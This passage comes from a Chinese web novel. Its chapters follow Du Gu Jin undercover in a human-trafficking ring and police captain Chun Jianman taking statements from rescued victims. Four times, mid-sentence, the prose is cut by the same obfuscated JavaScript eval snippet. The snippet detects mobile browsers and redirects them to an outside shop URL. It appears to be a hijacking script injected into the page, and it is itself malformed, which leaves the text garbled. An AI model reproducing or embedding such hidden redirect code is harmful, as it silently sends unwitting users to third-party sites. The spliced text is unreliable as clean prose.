“是,主人!”听到神兽们异口同声后,独孤尽才舒了一口气。 “等会儿,全部都隐身,我让你们行动再行动,或者看到我有生命危险了,再行动!”独孤尽再次嘱咐,生怕自己的计划被打乱。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16688957|188864||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 独孤尽再次返回的时候,罪犯正打算转移阵地。 “靠!吓老子一跳!你小子怎么回事,不会是反悔了吧?!” “这做人呢,最重要的是诚信,我们都把人给你了,你总不能再把钱要回去吧?” “那点钱对我来说不算什么,就当我的投名状了,说实话,刚刚那小妞不是我想救,是我那兄弟想救,我本来就不是什么好人,早就想找个有能耐的带我了。”独孤尽一改先前的傲气,但眼里还是那种单纯的少爷眼神。 “不是吧,你小子开老子玩笑呢?!我们这是为了票子,大票子,你小子这么有钱还要入伙,图啥呢?寻老子开心?!”罪犯听到并没开心,反而警惕地看着独孤尽,觉得独孤尽另有所图。 “冤枉啊,我怎么可能寻您开心,钱算什么,我有的是钱,我想要的是做一番大事业!实不相瞒,我爸根本只给我钱,别的什么也不管,我想干点大事,让他刮目相看!”独孤尽说得极其夸张,这都是模仿的他以前那些富二代同学。 那时候,大家一个个就喜欢吹牛皮,弄几瓶价格不菲的洋酒,一边喝一边吹,好像谁做的恶事越多,谁就厉害一样。 独孤尽虽然不屑为伍,却还是在班级聚会时听到过一些,那些污言秽语给他造成的精神伤害可不是一星半点,让他恶心得后来再也不参加集体活动。 这会儿他学得还挺像,如果春渐满能看到,一定也会稍微夸夸他的演技,不会对他这么丧失信心了。 “哟!小子看着人年轻,口气倒是不小,想干大事啊!想干多大的事?!”罪犯这会儿真的欣赏起独孤尽来了。 不过更多的还是把他当冤大头,“这干大事啊,要花大钱,不过你放心,之后肯定能赚回来,几十倍几百倍都不在话下!” “花钱没事,我有的是钱,这点我不在乎,只要能成大事!”独孤尽脸上露出猖狂的笑容,只不过这种笑让他觉得腮帮子疼,真要他这样笑一段时间,恐怕脸都要僵了,演技也要下降好几个层次。 索性罪犯也并不是什么太细致的人,大老粗没办法品味独孤尽浮夸的演技。 “不过你小子现在还不能接触我们的核心,谁知道你是不是卧底,得先跟我们干几票才能把你推荐上去。”罪犯思来想去,这样最稳妥。 最主要的是,他们现在也摸不到核心,要是这小子真有能耐,说不定还能带着他们一起上去呢! 算盘珠子可以说是都快要蹦到人脸上了。 独孤尽用舌尖顶了顶脸颊,他真笑累了,索性把表情收住,眼里露出些认真,“放心!我一定跟大家同心协力,干一番大事!” “上车!刚那女孩给你了,今天的指标没完成,等会儿要去街上随便选个人了。” “直接上街会不会太冒险了,干嘛不去偏僻的地方?”独孤尽被他们明目张胆的操作震惊到,他猫腰上车甚至扣好了安全带。 为了不让冯星星再次遭受伤害。 61. 一拉拉队的神兽 “现在连这行也这么卷了?还要完成指标?”独孤尽尽量把嘴巴张得小一点,这车不知道多久没洗了,车里一股奇怪的味道。 说不清道不明,只是坐在上面,就浑身难受。 “你小子有没有经验,等等可别连累了老子。”罪犯没回答独孤尽,只是怀疑地看了他一眼。 “放心,绝对完成任务!”独孤尽压低声音,让一名神兽变成无害女孩的模样,让神兽等着被他抓上车。 只要他在,就不可能让这个团伙再欺负其他人类。 “如果我动作不够利落,大可弃我而去嘛。”独孤尽信心满满,他的大话说得一车人都乐起来。 “有胆量,可以啊小子,到位置了,下去吧。”罪犯开了大约半个多小时就到了地方。 街上人不算特别多,有些地方甚至有暗巷,怪不得会选择这种位置。 “那我去了!”独孤尽说完这句话就往前走到了一家买水果捞的小摊位后面。 那个女孩看起来刚把水果捞送进嘴里,正在品味甜甜凉凉。 “主人,等我吃完,等我,不然等等上车就没我吃的份了。”这个女孩正是独孤尽的神兽。 “吃快点,实在不行你把真身留着吃,假的那个跟我走就行,不然他们要折磨你。”即便是神兽,独孤尽也不希望伤害到它们。 “那行,我真身隐身,假的这个跟你走。”神兽抹抹嘴角沾到的甜水,露出一个开怀的笑,“谢谢主人成全!” 独孤尽也没磨唧,他一把敲在假神兽的脑后,随后将它公主抱上了车。 “这么多人,没发现异常?!”这回轮到一车罪犯不敢置信了,他们有注射用的药剂,足够让人精神失常跟着走,可这小子不一样,他们可没把药分给他,居然能躲过这么多双眼睛,大大方方就把人抱上了车。 “这有什么好异常的?不就是在公主抱吗?放心,少爷我长得帅,多少美女都会败在我脚底下。”独孤尽把女孩放在另一张座位里,给她也扣好安全带才重新坐好。 “这下信我能干一番大事业了吧?!”独孤尽可是半点不怕打入内部,他们要是让他再干什么难办的事,他可以再让其他神兽出场。 反正神兽是用之不竭的。 “让我来检查一下。”罪犯毫不讲究地直接在假神兽身上捏了一遍,把生理特征都确认了才对独孤尽竖起了大拇指,“行啊小兄弟,下次再做这个指标,都让你来。” “哎呀,这指标完成起来容易,主要是,什么时候我们才能跟着做一笔大的啊?” 独孤尽的话音刚落,罪犯的手机就响了,他抓紧时间一脚油门,车飙了出去,手机也抛给了另一位罪犯。 “你接!就说我开车呢,接不了哈。” 显然这次来电的人毕竟棘手。 “喂?人,人我们肯定是完成数量了的,放心,晚上就送过来!”他放下手机,哭丧着一张脸。 “大哥,不行啊,这才一个,这个月要抓够十人才能上交,上面来催了,让我们交人呢,我先糊弄过去了。” “不是还要三天才到期吗?你刚为什么说晚上就送?!”开车的罪犯脸上冷汗都下来了。 “那边催着呢,说晚上再不送,我们也吃不了兜着走。” “催催催,这是人,又不是什么猪肉白菜,哪那么简单能弄到。”罪犯怒火攻心,没忍住用力捶了一下方向盘。 “消消气,消消气,这不是还要等到晚上嘛,不急。”独孤尽被这喇叭声吓了一大跳,其实不管是几个人,他都能弄到,现在最主要的是,怎么把另外几人换出来。 “大哥,你们现在手里有多少人?还差几个,我给补上!”独孤尽豪情壮志起来,差点直接在车里站起来,旁边的罪犯按住他肩膀,“小子,你别想得那么简单,刚才可能是你运气好,逮人这种事不能大意,现在到处是监控,一旦被发现,我们可都要被你害了。” “大哥这还是信不过我啊,可惜我的手艺了。”独孤尽垂下头看着自己的双手,一副特别惋惜的样子。 “你的手艺?拍人的手艺?”罪犯狐疑地看着独孤尽。 这小子看起来不像啊,不像干这行当的,瞧瞧这手,白白嫩嫩的,明明就是公子哥的手。 试问,哪个大家族的富人孩子会出来学这种手艺? “错了,这叫催眠,现在很流行的,你们不可能不知道吧?”独孤尽自豪地拍拍胸脯,“我可是在国外进修过的,这门手艺炉火纯青,不信我可以再给你们演示一次,不过……” 独孤尽留了个话口,就等着对方开口,他还顺势问其他受害者的情况。 “不过什么?”果不其然,罪犯两眼放光,像是见到了恩人。 “不过,我们到底还差多少人?其他人呢?晚上来得及集合一起送过去吗?” “……”一阵沉默后,开车的那位大哥终于开了口,“实不相瞒,我们今天这是刚开张。” “这个月刚开张?”独孤尽继续试探。 “不……不是,我们有好几个月没送上人了,现在环境越来越完善,我们很难下手,这次还是因为那女孩的爸正好落在我们手上,也同意卖了他女儿。” “你别看我们是在街上直接下手的,我们那管药啊,可是高级品,不便宜呢,结果人还被你小子要去了。” “不过好在,你小子也还了一个人过来。”罪犯满意地看着坐在座位上不省人事的神兽假身。 “哎呀,这人数有点多,我也不太好办,给我点时间让我想想。” 见独孤尽开始打退堂鼓,开车的大哥慌了,“小子,你要真能把人凑上,今晚我们把人送上,就能往上爬一爬了,你不是想早点做一番大事业吗?” “呃,真要全由我来抓人的话,你们是不是得叫我一声……”后面的话独孤尽没说,但他已经扬起来下颚。 车上的罪犯一瞬间安静下来,就在独孤尽以为大家要怒起揍他的时候,开车的大哥率先开口,“当然,小子你要是能 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16688958|188864||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 把人凑齐,我们认你做大哥,你是当之无愧的大哥。” “不过,你要是敢唬我们,我们就把你剁了,变成女孩送上去。” “只是把我剁了可成不了女孩,还得做手术吃药,这花费可高了去了,不值当。”独孤尽摇摇手指,他暗中对着神兽继续发号施令,让它们准备好被抓。 “快看,那边有街头篮球。”独孤尽指着车窗外的一处。 “这怎么了?你小子还有心思东张西望?!” “这不观察观察,哪能找到这么多女孩下手?”独孤尽的手指移动了一下,“你看那边,是不是很多女孩?” 罪犯顺着那根修长白皙的手指看过去,果不其然看到了穿着清凉挥动着彩球的女孩。 “这是拉拉队?!” “是啊,拉拉队,一起端走。” “不过这么多人,不方便再拍人了,要让她们自愿到地方,把集合地点给我,我去把她们引过去。”独孤尽自信满满。 “自愿?你小子以为你是谁啊,富二代吗?”罪犯说完这句吐槽,突然想起来,这小子还真是个富二代,最不差的就是钱。 “我还真是富二代,别磨磨蹭蹭的,现在离晚上也没多久了,早交完人,我好早点干成大事!”轮到独孤尽开始催人了。 “照兴酒楼,去那儿。”开车的老大想了半天,总算报出一个地址,不过看他的神情,这个地址应该不是他的老巢,可能就是个无关紧要的地址,只是为了试探人的。 独孤尽看出来了,却当作没看出来,他点点头,直接下了车。 这里本没有街头篮球,可现在有了,里面打球的是神兽,旁边的观众是神兽,拉拉队自然也是神兽。 所以,不管他带谁,都不会受到阻碍。 接下来的事,让罪犯眼睛都瞪直了。 连着来了两辆出租车,把那一队拉拉队美女全拉走了。 独孤尽甩甩手重新拉开车门坐进来,“赶紧的吧,去照兴酒楼跟她们集合,别去晚了,不然人起疑就该跑了。” 开车的大哥没想到他们绞尽脑汁都弄不够的人,独孤尽一下子就给凑齐了。 “大哥,怎么办?”罪犯凑到大哥耳边,轻声问,他们都知道刚刚那个地址不是最终交人的地方。 “慌什么,跟那边说,想要人就去我们说的地方。” 独孤尽假装自己什么都没看到没听到。 他正闭目养神,反正他离罪犯核心已经不远了,毕竟…… 他已经展示了自己特殊的能力。 虽然这种能力看起来不起眼,但对于需要蛊惑人心的犯罪团伙来说,可是很有用的。 “大……大哥!到地方了,我们下去吧。” 独孤尽这次不用自己开车门了,有人替他开,而且还有这些人还挺讲信用,直接改了口。 “走吧,去会会你们的上级。” 也不知道那些人有没有点眼力见,他的伟大操作可是需要人开开口的。 62. 人跟丢了 春渐满做梦都想不到他千担心万担心的独孤尽不仅卧底卧得非常成功,还在一天之内就当成了这个小团体的头。 他带着冯星星回了空间正找了精通医术的神兽给她治疗,她的情况不容乐观,到现在还没苏醒。 “她怎么还没醒?”春渐满焦急地问耳鼠,原本以为靠着耳鼠解百毒的能力能够让注射了不明东西的冯星星瞬间苏醒,可现在都过去一个多小时了,人还紧闭着双眼。 耳鼠甩甩大尾巴,用尾巴尖的毛扫了扫女孩的脚底板,“别再装睡了,醒吧,我们不是坏人。” 被点破,冯星星也不好继续闭着眼保命了。 她知道自己现在换了个地方,似是被人救了,可这个地方也不像省油的灯,她可不敢乱睁眼。 许久没睁开眼睛,刺目的亮光让她有点睁不开眼。 可当她真的睁开眼,倒是恨不得自己没睁开了,她应该是看到了她不该看的,毕竟那只毛茸茸的会说话的动物在她眼里漏出惊讶的那一刻,当着她的面直接变成了人类。 “……你们好。”她有些僵硬地打招呼,就算再想装作什么都没看到也难以调整好表情。 太僵硬了!实在是太僵硬了! “你是不是发现了?”春渐满刚才也发现了,没提早提醒耳鼠变成人形。 “啊?发现什么?”冯星星继续装傻,就算双方都心知肚明她也要坚持演下去。 “你是个聪明的女孩,身上还有哪里不舒服吗?我现在送你回去,如果之后有哪里不舒服,打这个电话给我。”春渐满写了张纸条给冯星星。 “我觉得身轻如燕,好像连陈年的毛病都没了。”说完,冯星星突然双手抱拳对春渐满拜了拜,“救命之恩无以为报,你们……” 她迟疑了一下,还是问出了自己的疑问,“你们是‘怪奇诊所’的人吗?” 春渐满表情没变,但瞳孔瞬间紧缩了一下,眼神出卖了他。 冯星星摆了摆手,“不用回答我,我就是一时抽风随便说说。” “是,希望你出去之后可以保密。”春渐满直接承认下来,“你就算出去说什么,也不会有人信。” “这倒是,现在网上谎称的人多了去了,前段时间还有好多人假冒‘怪奇诊所’呢,不过现在都解决了,你们还真是挺厉害的。”冯星星是真的钦佩,她双眸冒着星星。 她父母给她起这个名字可能就是因为她生来有双明星般的眼睛吧。 “果然,信‘怪奇诊所’就能得到平安!回去我会补交费用的!”冯星星重新闭上双眼,“把我送回去吧。” 春渐满见她似乎真的什么也看不见,才带着她回到现实。 “到了。” “到了?这么快?!”冯星星有点后悔自己没睁开眼睛偷偷看了,真是跟“怪奇诊所”的人接触半天,啥也没了解。 不过,他们养的小动物会变成人这点应该只有她知道吧。 “以后出门注意安全,也要注意你父亲。”春渐满负责地又嘱咐几句。 “他禽兽不如,不是我爸。”冯星星一想到当时的场景就觉得恶心。 要不是她心理够强大,之前的遭遇都要成她心理阴影了。 “我会绕着他走,有多远绕多远,真要碰见了,就丢根骨头给他,实在不行给他脑袋上套个垃圾袋。” 春渐满听见冯星星这么有精神的反驳,总算放下了心。 “再见。”希望我们再也不见。 这段时间一直跟独孤尽呆在一起,难得分开,他一个人呆着还真有点儿不知道该干什么了。 春渐满绝对回单位查一下相关案件,说不定有能帮上独孤尽的地方。 不过他没办法远程探查到独孤尽在哪,只有独孤尽才能这个能力能在这么大的范围感知到一个人的具体位置。 局里,每个人都在埋头苦干,突然听到脚步声抬头发现是他们的队长回来了,顿时手里的活都停了。 “春队!您可算回来了,到底去执行什么秘密任务了?还非得瞒着我们。” “是啊,春队,哪有你这样连一个队员都不带的,单枪匹马太危险了,怎么也要带个人盯着,一旦有特殊情况好报告回来啊。” “机密,知道的人越少越好,不然我会有危险。”跟独孤尽呆在一起久了,春渐满发现自己也能张口就说瞎话了。 “别逗你的队员了,快进来。”曹鸿盛一听到门外的骚动就知道是怎么回事了,果不其然,他一开门就看到了自己引以为傲的徒弟。 “师父,我有事找您。”春渐满一进办公室就把门锁上了,生怕有人在门外偷听,还专门走到了离门远的窗边。 “又有事,你还真是无事不登三宝殿。”曹鸿盛瞪了春渐满一眼,“我也找你有事。” “师父您先说。”春渐满颇有些不好意思,虽然师父说的是实话,但他听着觉得有些刺挠。 “是得我先说,不然还不知道你的事有多难办。”曹鸿盛接下话头,“你还记得之前有个案子,别的地方接手的,那个落水案,办的挺大的。” “那个案子怎么了?”春渐满自然记得落水案,当时他跟独孤尽还遇到了从未碰到过的危险。 “当时有个报案人,叫陆烨修的一个小子,他有点不简单呐。”曹鸿盛语气凝重。 “我知道他,他犯事了?”春渐满跟陆烨修打第一个照面的时候就对他有不同的关注。 “没,但我估计也快了。”曹鸿盛叹了口气,“好好的一个小伙非要搞迷信那一套。” “现在整天在桥洞底下摆摊儿,给人算命。” “现在好像不管算命这事儿吧?他给人算命算出人命了?”春渐满只能想到这种可能性。 “算,也不算,他说那人有血光之灾,那人也确实碰到血光之灾了。” “那这是算对了啊。” “是算对了,关键是这小子他当时就给了那人破解之法,但没用啊,一点用都没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16688959|188864||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,那人钱花了,灾还是照样受了。” “受害者报的案?”春渐满大概明了了,出了钱,没能挡灾,确实吃不下这个哑巴亏。 “他没先找陆烨修退钱吗?”这种事一般来说都是私下解决,闹一闹,双方妥协也就算了。 “陆烨修家倒是不缺钱,要让他赔一些也不是问题,但关键是这个小子觉得自己的能力没问题,一定是受害者有哪里没操作对才导致的没成功挡灾。” “他就这么自信自己的方法没问题?”之前跟独孤尽一起见陆烨修的时候他还傻乎乎的,技法啥的都还在初学阶段,才这么点时间就出来接单了? 天才也没这个速度。 “他那何止是自信,是完全不把科学放在眼里,满口都是那套迷信的话,我们差点就用其他罪名把他逮捕了,明明他家就是为国家研究科技的,怎么偏偏生出他这么个逆子。” “那怎么不抓?”春渐满有点唯恐天下不乱,他很想看看陆烨修被抓后,陆家会有什么反应,会不会用上陆烨修提到过的,他们陆家会的术法。 “他家毕竟都对国家有贡献,而且他也没谋财害命,只是帮人算了个命,没躲过去劫数,没法抓啊。”曹鸿盛朝春渐满走近了两步,声音压低,“师父想让你跟那边打个招呼,看看那人的劫数要怎么度。” “师父,你刚刚还说迷信不可取。”春渐满没想到自己的师父找他居然是要他跟“怪奇诊所”联系。 “那必须的不可取,但‘怪奇诊所’是科学的,人家那是诊所,肯定有办法。” “诊所就该治病。” “命快没了这也是病啊,你可得帮师父问问。”曹鸿盛开始倚老卖老、胡搅蛮缠。 “师父,我要找您也正是为了找‘怪奇诊所’。”春渐满露出一副爱莫能助的表情。 “人家直接点名要你跟着吗?你这是跟丢了?”曹鸿盛不知道这其中发生了什么变数,只是一阵惋惜,他们差了这么久的人,好不容易有点儿眉目,不能又回到原点了吧。 “跟丢了,他们碰到了其他案子,去当卧底了,师父我想查查关于黑党的案件,看看有没有线索。”春渐满伸手问师父要案宗,别说他师父想找独孤尽帮忙了,他现在也很想见一见独孤尽,问问他还打不打算接电话。 如果电话不需要也可以捐给有需要的人。 “涉及到这些的可都是大案子,我们辖区内是没有的,倒是邻市这种情况比较多,我可以帮你问他们要案宗,不过你找到人之后,要记得帮师父跟‘怪奇诊所’那边说一下。” “师父您放心,只要见到‘怪奇诊所’的人,我一定让他们帮忙。”春渐满松了口气,只要有线索就好,怕就怕一点头绪都没,所有人都在暗处,那样的案子才最让人头疼。 曹鸿盛的电话刚打完,他就一脸沉重跟春渐满交代,“近期把命中率再练一练,临市一听我说的这个情况,就向我们申请支援,说是有一个庞大的地下组织最近要行动。” 63. 抢魔鬼的活 春渐满确实有一段时间没进行过训练了,包括体能、技术类的,毕竟有“怪奇诊所”这个作弊器在,很多时候都不需要他自己动手了。 师父说得对,可不能这么荒废了。 春渐满在训练室十发都在十环后,总算松了口气,索性他的专业技能还没退化。 也不知道独孤尽现在深入哪一层了,有没有遇到难以抉择的时刻。 实际上,独孤尽已经快沦为座上宾了,毕竟他既有钱,能投资,又有能力,还特别狠,让他处理点人,都是一击毙命的。 虽然这些人根本不知道独孤尽救人更是一击必中,他把救助的人都丢进了画里,给他们安排了一间写明了要素的房。 因为要跟每个人解释实在太费事了,不如直接把要解释的事情全写在墙上,这样谁看到了都一目了然,实在有看不懂的,先到的人也能帮他们解释清楚。 独孤尽预想的很好,可他没想到的是,进入房间的被害者们觉得自己进入了神秘副本,正在想着怎么密室逃脱。 “这是哪里?!我怎么会突然到这里?!”最新被救助的人正在柔软的地毯上摔了个四仰八叉。 “新人你好,你看,这边墙壁上写了原因。”先前被丢进来的人已经熟悉了环境,甚至还找到了厨房,煮了杯红茶正喝着。 “我们被黑党要求处决,他把我们置换到了这里?让我们先在这里呆一段时间?”新人将墙壁上的字读完,更加茫然了。 “我只是个学生,没被什么黑党缠上啊,他说的是什么我都不知道。”孙逸揉揉自己的脑袋,他是不是没睡醒在做梦。 “我们在这里的人已经交流过了,确实是被黑党纠缠上,受到了生命威胁。像你这样的,我们还是第一次碰到,确定没碰到什么奇怪的事吗?”最先开口说话的男人把杯子放下,他抿了抿唇,似乎在思考其他可能性。 “我好像……我想起来了,我今天放学回家在路上看到了几个不怀好意的人,但是我没跟他们起什么冲突,回过神就在这里了。”孙逸一拍手,“会不会那几个人就是黑党?” “那救我们的人是谁呢?他为什么不出现?”孙逸还是不懂,既然救了人,哪有把人就这么丢在这的? “所以,我们合理怀疑,这里是异空间,可能选的都是濒死的人,或者说,选的是被黑党处决的濒死的人。”说到这里,其他人也开始七嘴八舌补充。 “对,你有没有看过那种无限流的文,都是这种情况,突然出现在一个不知名的地方,然后会有一些新手引导。” “完成任务或者闯关成功,自己就会获得积分或者技能,到时候回到现实世界就能对抗那些恶势力了。” 孙逸被点醒,作为一名学生,他自然对这些小说很熟悉,但这里……似乎和那些小说里的不太一样,“可是,没人给我们发布任务,也没有系统面板。” “没那么简单,你看这面墙,估计就是给我们的提示,其他东西可能要触发什么才会显示,我们和那些小说里唯一不一样的就是,主角可能还没出现。” “加上你,我们一共有八个人,不知道你是不是主角,在你来之前,我们已经把这里探查过一遍了,没发现什么有用的,也没触发什么。” “你看,那位胖哥,他先前还什么都不想说,后来在这里呆得不知今夕何夕之后,也被迫把自己的情况说了。这里诡异的很,让人分不清到底过了多久。” “有多诡异?我们不是有手机吗?”孙逸说完拿出手机看了一眼,他的手机居然没有信号,而且时间也不走了。 “那我觉得我们该留一人负责数时间。”孙逸提出建议,“虽然人数可能会有一点误差,但是能知道大概过去了多久。” 人对时间的依赖没被关过小黑屋的人可能不清楚,但他太清楚了,从小就因为大大小小的事关在小黑屋里,导致他到现在都有黑暗恐惧症。 “你这个方法我们也试过了,但效果不好,光让一个人数不现实,我们一开始说的是轮流数,起码记一个大概的时间,但数到后面,大家会焦虑,那种焦虑情绪一出,就不好了,当时大家一个接一个尖叫发疯。”为首的大背头男说完后,在一张纸上添了几笔,就把这张纸给了孙逸。 “你看看,这是我们每个人的基本情况和来这里的原因,你按照格式把自己的补充完整。” 孙逸拿过纸,上面有每个人的姓名、性别、身份、擅长的,以及来这里的原因,他随便填了填,因为不想填自己的真名,随便起了一个填上去。 “欢迎你加入我们,孙行。” “你怎么不叫孙行者呢?”有人调侃了一句,孙逸抬头一看,是个性格比较活泼的男生,他记得这个男生好像跟他年纪差不多,是被收保护费,突然来到这里的。 “可,我们要怎么出去呢?就在这里干等着吗?”孙逸有点着急,他还要回去给瘫痪的奶奶做饭。 虽然说饿一顿也不会饿死,但他这么晚不回家,奶奶会担心的。 “事已至此,我们只能等主角出现了,不然凭我们的能力,真找不到出去的办法。” “但我要回家。”孙逸更着急了,他站起来开始四处搜查。 有人站起来想阻止孙逸,被为首的男人拦住,“随他去吧,不自己调查一遍总是不死心,而且说不定他是主角呢,调查完真有线索我们也好出去。” “是啊,我们不都这样过来的吗,每个人都想快点回去。” 孙逸在学校算个成绩不上不下的中等生,但他家里经济条件不好,父母因为意外去世了,只有个奶奶带着他,可前两年,也因为意外受了伤,瘫痪在床。 他平时打打工做做活,勉强能维持他俩的生计,学校有贫困生的补助,他拿着也能把学费抵上。 从来也没有怨天尤人,安安稳稳的生活,怎么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16688960|188864||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 今天突然就变成这样了? 他百思不得其解,自己既没做伤天害理的事,也没招惹什么不该招惹的人。 独孤尽那边刚把人替换掉,他让神兽已经变成了孙逸的模样,把人带回了黑党的地盘,“来,我把人带来了,这回想怎么解决他?” 其实孙逸是无辜的,可能连他自己都忘了,有一天因为放学晚了,他为了抄近路穿过了一条小巷子,正好碰到了黑党在做一些见不得人的事,他倒是没看清,可黑党把他的样貌记下了。 他没有背景,但在网上开过几个自媒体号,平时发发视频能赚一些生活费,调查完,黑党不放心,怕他把消息发到网上去,或者跟其他人说,让人去把他解决了。 这不,正好碰到了独孤尽这个不用白不用的脑子有问题的富家少爷,再试探试探他的人性,要是这单他也干得漂亮,倒是真是个可用之人。 独孤尽最近累得很,他就没睡过一个好觉,虽然期间他很想回画里休息,但时不时有人闯进黑党给他安排的房间,根本没法放下心。 他还差一步,就能接触到这个黑党背后的那位。 一个组织能够做到这种程度,靠的根本不是他自己,后面的势力很多人都不敢动。 “简单让他死不是浪费了这张好看的脸,先给他开个直播,卖一波,再把他卖给别人玩玩,最后再抹除他的痕迹。” “他学校的老师恐怕会报警。”独孤尽提醒,“夜长梦多。” 他可不想干这些变态的事,直接把神兽的假身解决了才省事。 “夜长梦多倒是,那就开个直播吧,开完就给他毙了。” “行。”独孤尽已经掌握了他们的直播平台,里面一整条的操作全都熟悉,另外,他还拷贝了一份充足的证据,就差跟春渐满碰头把证据交上去实施逮捕行动了。 这个直播平台跟罗学倾还有点关系,他真想不明白,明明是人类,怎么这些人干的全是魔鬼才干的事,这不是跟人家魔鬼抢活吗? 也不怕真的魔鬼找上门来。 看吧,现在,他就带着真正的魔鬼找上门来了。 独孤尽再次获取直播中连接进来的那些人的信息,让神兽按照他获得的定位一个个沿着网线找过去给他们先来点噩梦袭击。 之后再慢慢侵蚀他们的精神。 谁让他们干什么不好,非要干魔鬼干的事,招惹来一些魔鬼也正常。 春警官,那些受害者要多麻烦你安置了。 独孤尽现在还不知道春渐满已经出了画的世界,春渐满也不知道画里现在聚集了一堆受害者,等着他过去拯救。 等现实里的事处理的差不多了,春渐满像往常一样回到画里,这一下被里面突然冒出来的众多人类给惊了。 不好,难道有其他势力调查到“怪奇诊所”了?独孤尽人呢?老底都要被掀了,他这个主人不在,难道要他来以一对多?! 64. 人中龙凤 受害者看着凭空出现的春渐满,被他周身十足的气势给惊到。 莫不是,这就是传说中的主角? 春渐满并没有轻举妄动,在没有弄清楚事情之前,他甚至不打算先开口。 不过很快,他就被墙壁上的字给吸引了,原来这里的人都是受害者,应该是被独孤尽丢进来的。 还真会给他找麻烦。 “你们谁先说?”春渐满轻车熟路拿出本子,准备把每个人的证词收集好了,再看看什么时候放他们回去。 “说?说什么?你是npc吗?”孙逸已经完全信了之前大家的猜测,把这里当成了异世的副本。 “我们是不是终于等来任务了?快说快说。” 春渐满颇感头疼,他灵机一动,想了个符合这些人脑回路的说辞,“请大家按照顺序,把遇到组织的情况详细描述出来。” “按照什么顺序?我们有初始积分吗?谁的最高啊?” “稍安勿躁,请先按照我的要求完成任务。”春渐满压了压聒噪起来的众人。 “那完成这个任务的任务奖励是什么?为什么我们没有那种很高端的任务显示屏?”众人依旧议论纷纷,虽然见到了任务发布者很开心,终于不用被困在这里停滞不前了。 “任务奖励只有等每个人都完成了任务,才会集体发放。”春渐满实在没什么好发放的,而且每个人想要的东西肯定不一样,这种众口难调的东西,不如不给。 丝毫不知道自己被画了大饼的众人立刻按照来到这里的先后排好了顺序。 孙逸是第八个,他有些焦急,在第一人完成任务前,他还是没忍住问出了他最关心的问题,“这里的时间流速和外面是一样的吗?我还要出去照顾奶奶,其实奖励不奖励的我不关心,我就想早点出去。” “在完成第一个任务之前,你们不可能离开。”春渐满直截了当拒绝了孙逸。 他可不想这些本该在现世中死亡的人突然出现,破坏了独孤尽的计划。 虽然他完全可以故意这么做,给独孤尽增加一下卧底难度,但他又不傻,不可能对独孤尽做出这种出卖队友的事。 “那时间流速呢?”孙逸追问,如果时间能停滞,他在这里呆多久他都没有异议。 “这里与外界的时间流速是一样的。”春渐满这句话完全粉碎了孙逸的幻想,他更加焦虑了,没再阻拦。 既然如此,只能期望大家快点完成任务,这样他才能快点出去。 春渐满随手在墙上划拉了一下,打开了一扇门。 “哇!我之前是一寸一寸检查过去的,都没发现这里还有一个房间,不愧是npc啊,太不可思议了。” “可不是,我们现在的这个世界有够虚构的,npc在这里比我们万能多了。” “谁是第一位?动作快点。”春渐满在门内冲大家道,“大家都想快点完成任务吧?” 梳着大背头的男人率先迈入了房间,他已经在脑海里整理好了自己要说的,等会儿不管这个npc问什么,他都能快速明了地回答。 这间房特别简洁,更他们先前呆的那个花里胡哨的空间完全不同,这里六面都是白色,四四方方,中间有一张桌子,桌子两面各有一张椅子。 很像审讯室。 春渐满没办法想象在其他环境里收集证词,还是熟悉的环境能提高他的效率。 “姓名?” “张黎瑜。” “如果要问我们基本信息的话,可以直接看这张纸。”张黎瑜直接把他先前问大家收集到的资料给了春渐满。 春渐满看着纸上还算详尽的内容,对张黎瑜多看了两眼,“就算有这份资料,我要需要再问你一遍。” “好,我就是把这个给你做个参考,万一有人说谎呢,有的人说完谎就不记得自己的谎言说了什么,很容易出破绽。” “性别?” “性别这个还需要反复确认吗?我是男人。”张黎瑜双臂微微用力,露出自己结实的手臂肌肉。 “还是需要再确认一下,有些人虽然看起来生理特征是一种性别,但心理上却不觉得自己是这个性别。”春渐满给张黎瑜科普了一下。 “其实,这么偏门的消息也可以不跟我解释,算了,你是npc,有解说义务,没那么智能。”张黎瑜依旧把春渐满当成人形npc。 